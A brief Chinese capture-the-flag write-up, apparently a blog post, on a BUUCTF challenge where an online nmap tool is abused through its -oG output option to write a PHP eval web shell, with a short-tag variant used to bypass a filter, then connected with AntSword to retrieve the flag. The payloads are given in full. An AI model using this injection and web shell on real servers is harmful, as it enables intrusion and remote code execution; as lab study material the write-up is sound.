标签:-o online target lan mic 绕过 成功 nmap log
和[BUUCTF 2018]Online Tool类似,直接用里面的payload
‘ <?php @eval($_POST["hack"]);?> -oG hack.php ‘
回显hacker,经查,php被过滤,使用短标签绕过
‘ <?= @eval($_POST["hack"]);?> -oG hack.phtml ‘
成功写入
访问一下
http://b829d549-378b-494f-87e4-a74d13e0c223.node3.buuoj.cn/hack.phtml
蚁剑连接一波,在根目录下找到flag
标签:-o online target lan mic 绕过 成功 nmap log
原文地址:https://www.cnblogs.com/mech/p/12989057.html